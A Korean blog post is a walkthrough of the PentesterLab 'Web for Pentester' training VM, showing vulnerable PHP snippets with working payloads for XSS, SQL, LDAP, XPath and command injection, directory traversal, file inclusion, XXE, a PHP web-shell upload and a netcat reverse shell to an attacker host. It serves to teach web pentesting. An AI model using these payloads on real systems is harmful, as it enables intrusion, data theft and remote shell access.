끄적끄적

PentesterLab 1 본문

Security/Web

PentesterLab 1

Go0G 2021. 9. 24. 17:12

모의 침투 테스팅을 위해 고의적으로 취약한 소스코드로 프로그래밍되어 있는 사이트다.

아래 사이트는 이와 같은 침투 테스트를 위한 ios 파일 및 강좌(영어)를 일부 무료로 제공합니다.

본 포스팅에서는 가장 쉬운 단계인 PentesterLab 1에 대해 작성해보려 합니다.

https://pentesterlab.com/exercises/web_for_pentester/course

 

PentesterLab: Learn Web App Pentesting!

 

pentesterlab.com

 

본 포스팅은 해당 Pentester에 대한 내용만 다루려 합니다.
즉, 각 취약점에 대한 자세한 내용은 다른 포스팅에 정리합니다.

사용도구

Burp Suite or Fiddler, Virtual Machine or VMware etc..

XSS

Example 1

파라미터 값에 기본 XSS 구문 삽입

Payload

/xss/example1.php?name=<script>alert(1)</script>

소스코드 내용 일부

...
<html>
hello
<?php>
	echo $_GET["name"];
?>
...

사용자의 GET 요청을 그대로 출력하여 내부에 XSS 구문 삽입이 가능.


Exampe 2, Example 3

문자열("<script>, </script>" 등)을 치환하는 구문을 우회

Payload

/xss/example2.php?name=<script<script>>alert(1)</scrip</script>t>

소스코드 내용 일부

...
<html>
<?php
	$name = $_GET["name"];
    $name = preg_replace("/<script>/","",$name);
    $name = preg_replace("/<\/script>/","",$name);
 echo $name;
 ?>
 ...

1회성 치환으로 중복된 구문을 입력하여 우회가 가능

preg_replace: PHP에서 정규 표현식을 이용하여 값을 치환하는 함수

Example 4

HTML <img> 태그와 onerror 속성을 이용하여 정규표현식 우회

Payload

/xss/example4.php?name=<img src=x onerror=alert(1)>

소스코드 내용 일부

...
if (preg_match('/script/i', $_GET["name"])){
	die("error");
}

Hello
<?php echo $_GET["name"]; ?>

정규표현식을 통해 name 파라미터에 "script"라는 문자열이 포함됐을 경우 "error" 메시지를 출력

preg_match: PHP에서 사용하는 정규표현식(리턴 값: 매칭=1, 실패=0)

Example 5 ★

eval, fromCharCode을 이용하여 정규표현식 우회

Payload

/xss/example5.php?name=<script>eval(String.fromCharCode(97,108,101,114,0x74,0x28,0x27,0x30,0x27,0x29))</script>

XSS에서 우회를 위해 쓰이는 함수

eval: 문자열(String)을 자바스크립트로써 동작하도록 변환하는 함수("<"로 시작하는 구문은 실행하지 않습니다)
String.fromCharCode: 자바스트립트의 String 객체로 아스키코드를 문자열로 리턴하는 메소드(10, 16진수 등)

소스코드 내용 일부

...
if (preg_match('/alert/i', $_GET["name"])) {
	die("error");
    }
...

정규표현식을 통해 name 파라미터에 "alert"라는 문자열이 포함됐을 경우 "error"를 출력

 

"alert"만을 필터링하고 있기 때문에 "prompt"나 "confirm"을 이용하여 대화 상자를 띄울 수 있다.


Example 6, Example 7

변수(var)에 값을 저장한 뒤 스크립트 실행

Payload

/xss/example6.php?name=hacker";alert(1)//

소스코드 내용 일부

...
Hello
<script>
	var $a = "<?php echo $_GET["name"]; ?>";
    //공격 구문: ";alert(1)//
    //실행 결과: var $a = "";alert(1)//";
</script>
...

"name" 파라미터를 "a" 변수에 저장한다. 스크립트 내부에서 동작하기 때문에 해당 변수 선언을 종료한 뒤 원하는 스크립트 구문을 실행

Example 7: 겹따옴표(")에서 홑 따옴표(')로 변수 저장 방법 변경


Example 8

페이지의 form 태그의 action 속성의 값이 사용자의 입력 값에 따라 달라진다는 점을 이용

Payload

/xss/example8.php/"onmouseover="alert(1)

소스코드 내용 일부

...
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
...
PHP_SELF: 폼을 통해 입력한 값을 다시 현재 페이지에 전송

"PHP_SELF"는 현재 페이지 즉, 현 위치의 URN을 다시 호출하는데 이 과정에서 사용자의 입력값을 "from" 태그 내에 삽입한다. 이때, "onmouseover"와 같은 이벤트 속성을 이용하여 스크립트를 실행


Exmaple 9 ★

Dom Based XSS

Payload

/xss/example9.php#<script>alert(1)</script>

소스코드 내용 일부

...
<script>document.write(location.hash.substring(1));</script>
...
location.hash: 샵("#")을 이용하여 지정한 anchor 값을 출력
substring(1): 첫 번째 문자를 제외한 값을 출력

결과적으로 스크립트에 작성(document.write)하는 값은 "#" 뒤의 문자열이 된다. 따라서 anchor("#") 뒤에 스크립트 구문을 삽입하여 alert을 발생

웹 브라우저마다 사용하는 엔진의 차이가 있기 때문에 Chrome에서는 동작하지 않는다. 자세한 내용은 DOM에 대해 포스팅한 내용을 참고하자


SQL injection

참고: 본 Pentester의 DBMS는 MySQL로 작성되었습니다.

Example 1

문자열을 이용한 쿼리문

Payload

example1.php?name=' or '1' = '1

소스코드 내용 일부

...
$sql = "SELECT * FROM users where name = '";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
//정상 쿼리: SELECT * FROM users where name = 'name' 
//Payload Injection 시: SELECT * FROM users where name = '' or '1'='1'
...

Example 2

Payload내 공백(%20)이 있을 시 "ERROR NO SPACE" 출력 -> 공백을 제거하거나 "\t(%09)"를 입력

Payload

example2.php?name='or'1'='1
example2.php?name='%09or%09'1'%09=%09'1

 소스코드 내용 일부

...
if (preg_match('/ /', $_GET["name"])){
	die("ERROR NO SPACE");
    }
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
...

Example 3

Payload 내 공백문자(%09, %20)이 있을 시, "ERROR NO SPACE" 출력

-> 공백을 제거하거나 "/**/(주석)"을 이용

Paylaod

example3.php?name='or'1'='1
example3.php?name='/**/or/**/'1'/**/=/**/'1

소스코드 내용 일부

...
if (preg_match('/\s+/', $_GET["name"])){
	die("ERROR NO SPACE");
    }
$sql = "SELECT * FROM users where name = '";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
...
\s+: 모든 공백문자(\t, \r, \n, \v, \f)

Example 4

정수형을 이용한 쿼리문

Payload

example4.php?id=1 or 1=1
//다른 index의 값을 호출하는 경우: example4.php?id=1%2b0

소스코드 내용 일부

...
if (!preg_match('/^[0-9]+/', $_GET["id"])){
	die("ERROR INTEGER REQUIRED");
    }
$sql = "SELECT * FROM users where id ";
$sql .= $_GET["id"];
$result = mysql_query($sql);
...
^[0-9]+: 숫자이외 문자

덧셈("+")을 이용한 Injection을 수행할 경우, URL 인코딩 필수!


Example 5

Payload

example5.php?id=1 or '1'='1'
example5.php?id=1 or 1=1

소스코드 내용 일부

...
if (!preg_match('/^[0-9]+$/', $_GET["id"])){
	die("ERROR INTEGER REQUIRED");
    }
$sql = "SELECT * FROM users where id ";
$sql .= $_GET["id"];
$result = mysql_query($sql);
...
^[0-9]+$: 문자열의 마지막 위치 또는 개행 문자 바로 앞의 숫자가 아닌 값이 1회 이상 일치

 


Example 6

Payload

example5.php?id=1 or '1'='1'
example5.php?id=1 or 2-1

소스코드 내용 일부

...
if (!preg_match('/[0-9]+$/', $_GET["id"])){
	die("ERROR INTEGER REQUIRED");
    }
$sql = "SELECT * FROM users where id ";
$sql .= $_GET["id"];
$result = mysql_query($sql);
...
[0-9]+$: 문자열의 마지막 위치에 숫자가 1회 이상 일치
올바른 정규표현식: ^[0-9]?$

Example 7

정규 표현식에서 다중 라인(/m) 플래그를 사용하기 때문에, 줄바꿈(%0a)을 통해 페이로드 삽입 가능

Payload

example7.php?id=2%0a-1
example7.php?id=2%0a union select * from users

소스코드 내용 일부

...
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])){
	die("ERROR INTEGER REQUIRED");
    }
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
$result = mysql_query($sql);
...
^-?[0-9]+$: 시작 값으로 "-"이 존재하거나 존재하지 않을 수 있으며 끝나는 값으로 숫자가 한번 이상 반복
(?m)^-?[0-9]+$: 멀티 라인에서 위 정규표현식을 만족하는 행을 찾기 때문에 다른 행에 페이로드를 삽입할 수 있음

Example 8

ORDER BY 이하 값은 상수로 간주하기 때문에 작은 따옴표('), 큰 따옴표(") 사용 불가, 백틱(`)으로 인젝션

Payload

example8.php?order=name`,`age
example8.php?order=name` %23
example8.php?order=name` DESC%23

소스코드 내용 일부

...
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);
...
mysql_real_escape_string: addslashes()의 확장버전으로 특수문자(\x00, \n, \r, ', ", \x1a)를 이스케이프(\)하기 위해 사용 
%23: 아스키코드로 "#"을 나타내며 MySQL의 주석을 의미

Example 9

백틱(`)을 사용하지 않는 경우 MySQl의 IF 구문을 사용한 정렬(IF 구문내 매개변수 값을 변경하여 컬럼명을 유추할 수 있음)

Payload

example9.php?order=IF(0,name,age)
example9.php?order=IF(1,name,age)

소스코드 내용 일부

...
$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);
...

IF열에 정수와 문자열이 포함된 경우, 문자열을 기반으로 정렬하기 때문에 원하는 결과가 출력되지 않을 수 있음

 

MySQL의 IF함수: IF(조건, 참, 거짓)

Directory traversal

OS: Debian 6로 진행되었습니다.

Example 1

관리자 도구를 통해 이미지 경로를 확인 후, "/etc/passwd" 경로 진입

Payload

/dirtrav/example1.php?file=../../../../../../etc/passwd

소스코드 내용 일부

...
$UploadDir = 'var/www/files/';
if(!(isset($_GET['file'])))
	die();
$file = $_GET['file'];
$path = $UploadDir.$file;
if(!is_file($path))
	die();
    
/* 헤더 관련 일부 생략 */
header('Content-Disposition inline; filename ="' . basename($path) . '";');

$handle = fopen($path, 'rb');
do{
    $data = fread($handle, 8192);
    if	(strlen($data)==0){
    break;
	}
    echo($data);
}while(true);
fclose($handle);
...
isset: 해당 값이 NULL 인지 확인
is_file: 파일일 경우 True, 이외의 데이터일 경우 False를 반환
basename: 전체 경로명을 인수로 받아 파일명을 반환

"file" 파라미터에서 값의 유효성(존재 여부, 파일 여부)을 확인한 뒤 데이터를 읽어 화면에 나타냄


Example 2

Payload

/dirtrav/example2.php?file=/var/www/files/../../../../../etc/passwd

소스코드 내용 일부

...
if(!(isset($_GET['file'])))
	die();
$file = $_GET['file'];
if(!(strstr($file,"/var/www/files/")))
	die();
if(!is_file($file))
	die();
/*헤더 생략*/
$handle = fopen($file,'rb');
...
fclose($handle);
...
strstr(string, search): string 값에서 search 이후의 값을 반환

Example 3

NULL Byte 인젝션(PHP 5.3.4 버전 이후 패치 완료)

Payload

/dirtrav/example3.php?file=../../../../../../etc/passwd%00

소스코드 내용 일부

...
$UploadDir = '/var/www/files/';
if(!(isset($_GET['file'])))
	die();
$file = $_GET['file'];
$path = $UploadDir.$file.".png"; //파일명에 "png" 확장자를 추가
$path = preg_replace('\/x00.*/',"",$path);
if(!is_file($path))
	die();
/*파일 헤더 생략*/
$handle = fopen($path, 'rb');
...
fclose($handle);
...

확장자를 추가하는 구문을 NULL Byte로 덮어씌워 동작하지 않도록 함


File Include(LFI, RFI)

Example 1

임의의 데이터(예: ')를 입력하여 오류 구문 발생시키기

Warning: include('): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening ''' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7

획득 가능 정보

  1. 스크립트 경로: /var/www/fileincl/example1.php
  2. 사용된 함수: include()

Payload

RFI: /fileincl/example1.php?page=http://192.168.x.x:888/index.php
= 임의의 웹 서버 생성 및 index.php 코드 작성
LFI: /fileincl/example1.php?page=../../../../etc/passwd

index.php 코드

<?php phpinfo(); ?>
RFI(Remote File Inclusion): 외부의 악성 스크립트를 서버에 전달하여 내부 정보 획득 및 스크립트 실행
LFI(Local File Includsion): 서버 내부의 파일을 파라미터로 전달하여 정보 탈취 및 스크립트 실행

소스코드 내용 일부

...
if($_GET["page"]){
	include($_GET["page"]);
}
...

외부 파일을 포함시키는 함수

inlcude(): 같은 파일 여러 번 포함 가능 / 포함할 파일이 없어도 다음 코드 실행
include_once(): 같은 파일(여러 번 포함해도) 한 번만 포함 / 포함할 파일이 없어도 다음 코드 실행
require(): 같은 파일 여러 번 포함 / 포함할 파일이 없으면 다음 코드를 실행하지 않음
require_once(): 같은 파일 한 번만 포함 / 포함할 파일이 없으면 다음 코드를 실행하지 않음

Example 2

임의의 데이터(예: ')를 입력하여 오류 구문 발생시키기

Warning: include('.php): failed to open stream: No such file or directory in /var/www/fileincl/example2.php on line 8 Warning: include(): Failed opening ''.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example2.php on line 8

획득 가능 정보

  1. 스크립트 경로: /var/www/fileincl/example2.php
  2. 사용된 함수: include()
  3. 입력 값 뒤에 '.php' 확장자가 포함됨

Payload

NULL Byte 사용(PHP 5.3.4 버전 이후 패치 완료)

RFI: /fileincl/example1.php?page=http://192.168.x.x:888/index.php%00
LFI: /fileincl/example2.php?page=../../../../../../../etc/passwd%00

소스코드 내용 일부

...
if($_GET["page"){
	$file = $_GET["page"].".php";
    $file = preg_replace('/\x00.*/',"",$file);
    include($file);
}
...

Code injection

PHP의 명령 실행 함수: system('')

시간 함수: sleep()

Example 1

큰따옴표(")를 삽입하여 에러 구문 확인

Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1

획득 가능 정보

  1. 스크립트 경로: /var/www/codeexec/example1.php
  2. 사용하는 함수: eval()

Payload

/codeexec/example1.php?name=".system('uname -a');
Time Base: /codeexec/example1.php?name=".sleep(2); echo "Sleep Time";//
추가 페이로드: ".system('uname -a'); $dummy="  Code Injection"; echo $dummy;//
주석 사용: /codeexec/example1.php?name=".system('uname -a');//

페이로드가 동작하지 않을 경우 URL 인코딩 후 수행

소스코드 내용 일부

...
	$str = "echo \"Hello ".$GET['name']."!!!\";";
	eval($str);
...

Example 2

"order" 파라미터에 큰따옴표(")를 삽입하여 에러 구문 확인

Parse error: syntax error, unexpected '"', expecting T_STRING or T_VARIABLE or '{' or '$' in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22

획득 가능 정보

  1. 스크립트 경로: /var/www/codeexec/example2.php
  2. 사용하는 함수: usort()

에러 값을 통해 사용자의 입력이 서버 내 함수의 파라미터 값으로 사용될 것으로 유추

Payload

구문 에러: /codeexec/example2.php?order=id;//
경고: /codeexec/example2.php?order=id);}//
공격 구문: /codeexec/example2.php?order=id);}system('uname -a');//

소스코드 내용 일부

...
$sql = "SELECT * FROM users";
$order = $_GET["order"];
$result = mysql_query($sql);
if($result){
	while ($row = mysql_fetch_assoc($result)){
    	$users[] = new User($row['id'],$row['name'],$row['age']);
    }
	if(isset($order)){
    	usort($users, create_function('$a, $b', 'result strcmp($a->'.$order.',$b->'.$order.');'));
    }
}
usort(array, myfunction):  정의된 비교 함수를 사용하여 배열을 정렬
create_function(string $args, string $code): 전달된 매개변수로 익명의 함수를 만들고 고유한 이름을 반환

Example 3

e(PCRE_REPLACE_EVAL) modifier (PHP 5.5.0 버전 이후 사용되지 않음)

Payload

/codeexec/example3.php?new=system('uname -a);&pattern=/lamer/e&base=Hello lamer

소스코드 내용 일부

...
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
...
preg_replace(Regex pattern, String 1, String 2): String 2에 Regex pattern이 존재할 경우 삭제하고 String 1에 이어 붙임(참고)
주의사항: Regex pattern에 "e" 변경자를 지정하면 preg_replace()는 변경할 문자열을 PHP 코드로 처리하고, 그 결과를 검색된 문자열을 이용하여 치환한다. 작은따옴표, 큰 따옴표, 백 슬래시, NULL 문자는 이스케이프 됨

Example 4

asssert() 구문 내에서 함수를 실행시킬 수 있음(PHP 7.0 버전 이후 패치)

Payload

에러 확인: /codeexec/example4.php?name=hacker'
정상 구문: /codeexec/example4.php?name=hacker'.'
공격 구문: /codeexec/example4.php?name=hacker'.system('uname -a').'
XSS 구문: hacker'.<script>alert(1)</script>.' #XSS 구문은 htmlentities 함수 실행 전 실행됨

소스코드 내용 일부

...
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
...
assert(mixed $assertion): 조건(assertion)이 참인 경우 PHP 코드로 출력, 거짓인 경우 경고/에러를 출력, 디버깅에 사용
trim(string $string, string $characters = "\n\r\t\v\0"): 문자열 시작과 끝에서 공백 제거
htmlentities(string $string)
: HTML 엔티티로 문자 변환

PHP 7.0 이상 assert()에 관한 내용(참고)


Commands injection

HTTP 매개변수를 시스템 명령어로 사용 시 발생

인젝션에 주로 사용되는 쉘 스크립트
백 틱(`): 변수 선언(ex_`test = ls -al` 후 echo $test)
리 다이 랙션(|): 첫 번째 명령어 결과를 두 번째 명령어의 값으로 넘김
AND(&&): 첫 번째 명령어가 성공할 경우 다음 명령 실행
OR(||): 첫 번째 명령어가 실패 시 다음 명령 실행
Sleep [시간/초]: 해당 명령어를 입력하여 파라미터 값이 명령어로 실행되는지 확인하자 

Example 1

Payload

명령어 실행 여부: Ridirection: /commandexec/example1.php?ip=127.0.0.1|sleep 3
Ridirection: /commandexec/example1.php?ip=127.0.0.1|cat /etc/passwd
&(인코딩 필수): /commandexec/example1.php?ip=127.0.0.1%26%26cat /etc/passwd
||: /commandexec/example1.php?ip=256.0.0.1||cat%20/etc/passwd
백틱(`): /commandexec/example1.php?ip=256.0.0.1;test=`cat /etc/passwd`;echo $test

백 틱 사용 시 세미콜론(;)으로 명령어를 이어 붙임

소스코드 내용 일부

...
system("ping -c 2 ".$_GET['ip']);
...

Example 2

정규 표현식을 줄바꿈(\n)을 사용하여 우회

Payload

줄바꿈 사용: /commandexec/example1.php?ip=127.0.0.1%0acat%20/etc/passwd

소스코드 내용 일부

...
if(!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/m', $_GET['ip']))){
	die("Invalid IP address");
}
system("ping -c 2 ". $_GET['ip'];
/m: 정규표현식의 멀티라인 옵션으로 모든 라인에 표현식에 일치하는 값이 있는지 여부를 확인

Example 3 ★

Reserve Connection

Payload

명령어 실행 여부: /commandexec/example3.php?ip=127.0.0.1|sleep 5
공격자측 NC Listen: nc -l -p 9090 #9090포트로 리스닝 모드
NC 연결 명령어 삽입: /commandexec/example3.php?ip=127.0.0.1;nc 192.168.x.x 9090 -e /bin/sh

소스코드 내용 일부

...
if(!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/m', $_GET['ip']))){
	header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ". $_GET['ip'];
Location Header: 리소스가 리다이렉션 될 주소를 명시 

LDAP attack

LDAP(Lightweight Directory Access Protocol)
- 네트워크 상에서 조직이나 개인정보 혹은 파일이나 디바이스 정보 등을 찾아보는 것을 가능하게 만든 소프트웨어 프로토콜
- 네트워크 디렉토리 서비스 표준인 X.500의 DAP(Directory Access Protocol)를 기반으로 경령화
- 비동기 프로토콜: 응답마다 어떤 요청의 응답인지 식별할 수 있는 아이디가 부여
- 사용자, 시스템, 네트워크, 서비스, 애플리케이션 등의 정보를 트리 구조로 저장하여 조회하거나 관리
- SSO(Single-Sign-On) 설루션에서 인증을 위한 백엔드로 자주 사용

Example 1

NULL 바인딩(파라미터 값 없이 전송)

Payload

#으로 주석처리: /ldap/example1.php?#username=&password=

소스코드 내용 일부

...
$ld = ldap_connect("localhost") or die("could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld ,LDAP_OPT_REFERRALS, 0);
if($ld){
	if(isset($_GET["username"])){
    	$user = "uid=".$_GET["username"]."ou=people, dc=pentesterlab, dc=com";
    }
    $lb = @ldap_bind($ld, $user, $_GET["password"]);
    if($lb){
    	echo "AUTHENTICATED";
    }
    else{
    	echo "NOT AUTHENTICATED";
    }
}
...
ldap_connect(string$host): LDAP 서버에 연결
- LDAP default Port
 = 389
- LDAP over SSL default Port = 636
ldap_set_option(resource $ldap, int $option, array|string|int|bool $value)
- LDAP_OPT_PROTOCOL_VERSION: LDAP 버전 설정
- LDAP_OPT_PERERRALS: LDAP 서버에서 반환된 참조를 자동으로 따를 것인지 여부
ldap_bind(resource $ldap, string $dn, string $password): 지정된 RDN과 password를 사용하여 LDAP에 연결
- ldap: ldap_connect()에서 반환하는 LDAP 리소스
- 리턴값: True or False
dn 또는 password가 비어 있는 경우 익명으로 바인딩될 수 있음(참고)

Example 2 ★

LDAP 인젝션: LDAP에서 와일드카드("*") 사용 시 하위 문자열이 일치하는 값을 찾는 점을 악용

LDAP 쿼리 구문
OR 구문: (|(cn=[INPUT 1])(cn=[INPUT 2])) #[INPUT 1] or [INPUT 2]
AND 구문 (&(cn=[INPUT 1)(PW=[INPUT 2))
#cn레코드(INPUT 1)에 매치되는 [INPUT 2]의 값이 일치할 경우

Payload

와일드 카드(*) 테스트: /ldap/example2.php?name=hac*&password=hacker #Auth(hacker ID)
비밀번호 변환 추측: /ldap/example2.php?name=hac*&password=hacker* #Unauth
AND(&) 연산을 통해 인증한다는 것을 파악 = (&cn=[INPUT 1])(userPassword=HASH[INPUT2]))

LDAP Query 조건을 참으로 만들고 "%00"을 이용하여 필터 끝을 제거
최종: /ldap/example2.php?name=a*)(cn=*))%00&password=hacker #a로 시작하는 계정 auth
인젝션 결과: (&(cn=a*)(cn=*))%00       )(userPassword=md5(hacker)))

LDAP 엔트리 내부에 임의로 작성한 "name"을 이용한 PoC
: /ldap/example2.php?name=a*)(name=*))%00&password=hacker

소스코드 내용 일부

...
$ld = ldap_connect("localhost") or die ("Could not connect to LDAP server");
...
if($ld){
	$pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
    $filter = "(&(cn=".$_GET['name'].")(userPassword".$pass"))"; 
    #$filter = "(&(cn="#a*)(cn=*))%00 인젝션 결과
    #%00으로 구문 실행 X:(userPassword".$pass"))"; 
    ...		
}
else{
    $number_returned = ldap_count_entries($ld, $search);
    $info = ldap_get_entries($ld, $search);
    
    if($info["count"] < 1){
    	echo "UNAUTHENTICATED";
    }
    else{
    	echo "AUTHENTICATED as";
        echo (" ".htmlentities($info[0]['uid'][0]));
    }
}
LDAP 엔트리 고유 식별자를 통해 "cn"외 값으로 사용 가능
- cn: 우리나라의 이름
- sn: 우리나라의 성
- UID: UserID
- DC: 도메인 구성요소 등

File Upload

웹 셸이 포함된 파일을 생성한 뒤 웹 서버에 업로드

  • 웹 서버에서 지원하는 확장자를 찾고 필터링을 우회하는 것이 중요
  • 파일이 저장되는 위치를 파악해야 함

PHP의 일반적인 WEB Shell Code(webshell.php)

<?php
	system($_GET["cmd"]);
?>

Example 1

"webshell.php"파일 업로드 후 명령어 실행

Payload

/upload/images/webshell.php?cmd=cat /etc/passwd

소스코드 내용 일부

...
if(isset($_FILES['image'])){ // 업로드할 파일이 존재하는지 확인
	$dir = '/var/ww/upload/images/'; //파일이 업로드될 경로
    $file = basename($_FILES['image']['name']; //경로에서 파일명 파싱 후 저장
    if(move_uploaded_file($FILES['image']['tmp_name'], $dir.$file)){ //파일 업로드
    	echo "Upload done";
        echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>"
    }
    else{
    	echo 'Upload failed';
    }
}

Example 2

웹 셸의 파일명 변경(webshell.Php)후 업로드

Paylaod

/upload/images/webshell.Php?cmd=cat /etc/passwd

소스코드 내용 일부

...
if(isset($_FILES['image'])){ 
	$dir = '/var/ww/upload/images/'; 
    $file = basename($_FILES['image']['name']; 
    
    if(preg_match('/\.php$/',$file){ //확장자 필터링 구문 추가
    	die("NO PHP");
    }
    
    if(move_uploaded_file($FILES['image']['tmp_name'], $dir.$file)){ 
    	echo "Upload done";
        echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>"
    }
    else{
    	echo 'Upload failed';
    }
}
확장자 변경: .php3, .php4, php5 등
알 수 없는 확장자 사용:  php.blah 등 = 이 경우 Apache내에서 확장자 처리를 위해. blah 이후. php 확장자로 이동

XML

Example 1: XEE attacks

일부 XML 파서는 외부 엔터티를 확인하고 XML 메시지를 제어하는 ​​사용자가 리소스에 액세스 할 수 있음

 

URL 내 파라미터에 XML태그 형식(<, >)으로 전송하는 것을 확인 후 태그를 정상적으로 닫지 않은 상태로 전송하여 에러 구문 확인

파라미터 전송 값

정상 구문: /xml/example1.php?xml=<test>123</test>
변경 구문: /xml/example1.php?xml=<test>123<test>

에러 구문 확인

Warning: simplexml_load_string(): Entity: line 1: parser error

*simplexml_load_string(): 문자열로부터 XML 데이터를 읽는 데 사용됨 

 

이를 통해 웹 서버는 파라미터에서 XML 데이터를 파싱 하여 사용자에게 전송하는 것을 유추할 수 있음

따라서, XEE 공격 구문 입력 시도

Paylaod 시도

/xml/example1.php?xml=<!ENTITY XXE SYSTEM "file:///etc/passwd">

에러 구문 확인

parser error : StartTag: invalid element name in #생략

XML 엔티티를 사용하는 시작 구문이 잘못되어 발생하는 에러로 유추할 수 있음. 따라서 DTD 문법 구문에 따라 페이로드를 재구성함

Paylaod 시도(2)

/xml/example1.php?xml=<!DOCTYPE XEE SYSTEM "file///etc/passwd"><test>%26XEE;</test>

위 페이로드에서 %26은 &를 URL로 인코딩한 값이며, "file///etc/passwd" 데이터를 저장한 값을 XEE 변수에 저장하고자 하였다.

에러 구문 확인

 parser error : Entity 'XEE' not defined in #생략

엔티티가 아닌 루트 요소에 데이터를 저장하려 했기 때문에 에러가 발생했다. XML의 외부 참조를 위한 DTD 구문은 다른 포스팅에서 다루기로 한다.

Payload 시도(3)

<!DOCTYPE test[<!ENTITY XEE SYSTEM "file:///etc/passwd">]><test>%26XEE;</test>

페이로드의 일부분을 살펴보면 DTD의 루트 요소의 값을 "test"라 선언하였으며, 엔티티(변수라 생각하면 편하다)의 값을 XEE라 정의하였다.

정상 파라미터 요청에서 <test> 태그를 사용하였기 때문에 "test"라 선언하였지만 다른 루트요소 값을 사용해도 상관없다. 다만 DTD 이후 출력을 위한 XML 태그명과 같아야 한다.

결과적으로 "file:///etc/passwd"(URI Schema)로 요청한 값은 test 요소의 XEE 엔티티에 저장되고 <test>%26 XEE;</test>(==<test>&XEE;</test>를 이용하여 XEE 엔티티의 값을 출력한다. 

소스코드 내용 일부

...
Hello
<?php
	$xml=simplexml_load_string($_GET['xml']);
   	print_r((string)$xml);
?>
...

Example 2: Xpath attacks

XPath는 XML 문서에서 노드를 선택하는 쿼리 언어로 XML 문서 내 데이터에 접근할 수 있음

SQL Injection과 마찬가지로 부울 논리 연산을 수행할 수 있음

 

작은 따옴표(')를 삽입하여 에러 구문 확인

파라미터 전송 값

정상 구문: /xml/example2.php?name=hacker
변경 구문: /xml/example2.php?name='

에러 구문 확인

Warning: SimpleXMLElement::xpath(): Invalid predicate in #생략

*Xpath(): XML 문서 쿼리를 실행하여 SimpleXMLElements 개체 반환

 

에러 구문을 통해 Xpath를 사용한다는 것을 파악한 뒤, SQL 부울 논리 연산 수행

AND 참: /xml/example2.php?name=hacker' and '1'='1 #정상 출력
OR 참: /xml/example2.php?name=hacker' or '1'='1 #정상 출력
AND 거짓: /xml/example2.php?name=hacker' and '1'='0 #출력 X
OR 거짓: /xml/example2.php?name=hacker' or '1'='0 #모든 결과 출력

이후 페이로드 위한 Xpath의 구성은 아래와 같다.

[PARENT NODES]/name[.='[INPUT]']/[CHILD NODES]

현재 나의 노드명은 "name"이며 [INPUT] 구문을 참으로 구성한 뒤 [CHILD NODES]를 대상으로 페이로드를 구성하여 다양한 데이터를 습득할 수 있다.

Xpath 표현식을 주석처리하기 위해선 NULL Byte를 사용할 수 있음

Payload

/xml/example2.php?name=hacker' or '1'='1']%00 	'#부울 연산 쿼리와 달리 값만을 가져옴
/xml/example2.php?name='or '1'='1']%00 	'#위 결과와 같음

위 페이로드를 사용할 시 "name" 태그 내 데이터가 모두 출력됨

부모 태그에 접근하기 전에 child::node()를 사용하여 아래 자식 태그가 존재하는지 확인해보자

Payload 시도(2): 자식 태그에 노드가 존재하는지 

/xml/example2.php?name=' or 1=1]/child::node()%00

이전 패이로드와 같은 결과 값을 출력하는 것으로 보아 자식 노드(데이터)가 존재하지 않음

현재 태그의 부모 태그로 접근하여 자식 노드의 데이터를 살펴보자

Payload 시도(3): 현재 태그의 부모 태그의 노드가 존재하는지

/xml/example2.php?name=hacker' or 1=1]/parent::*/child::node()%00

이 경우 부모 태그의 노드가 모두 출력되는 것을 확인할 수 있음. 또한 이를 활용하여 부모 노드에 찾고자 하는 노드가 존재하는지 확인할 수 있다

Payload 시도(4): 부모 태그의 자식 태그에 내가 찾고자 하는 노드가 존재하는지

/xml/example2.php?name=' or 1=1]/parent::*/password%00 '#노드 존재
/xml/example2.php?name=' or 1=1]/parent::*/name%00 '#노드 존재
/xml/example2.php?name=' or 1=1]/parent::*/message%00 '#노드 존재

위 페이로드를 통해 "password", "name", "message" 이름을 가진 노드가 존재하는 것을 확인할 수 있다.

노드명을 유추하기 어려울 경우 별도의 스크립트를 구성한다.

parent::*child::node()를 이용하여 태그 내 노드를 탐색할 수도 있다.

Payload 시도(5): Xpath 내 노드 탐색

/xml/example2.php?name=' or 1=1]/parent::*/parent::*/child::node()/child::node()%00 '#노드 존재

소스코드 내용 일부

...
$x = "<data>
  <users>
    <user>
    <name>hakcer</name>
    <message>Hello hacker</message>
    <password>pentesterlab></password>
    </user>
    <user>
    <name>admin</name>
    <message>Hello admin</message>
    <password>s3cr3tP4ssw0rd</password>
    </user>
  </users>
</data>";

$xml = simplexml_load_string($x);
$xpath = "users/user/name[.='".$_GET['name']."']/parrent::*/message";
$res = ($xml -> xpath($xpath));
while(list( ,$node) = each($res)){
	echo $node;
    }
...

'Security > Web' 카테고리의 다른 글

[vulnerability] File Upload  (0) 2022.04.25
[Exploit] 예제 코드  (0) 2022.03.03
[Secure Coding] Prepared Statement 훑어보기  (1) 2022.01.17
[vulnerability] Nginx alias traversal  (0) 2021.10.07
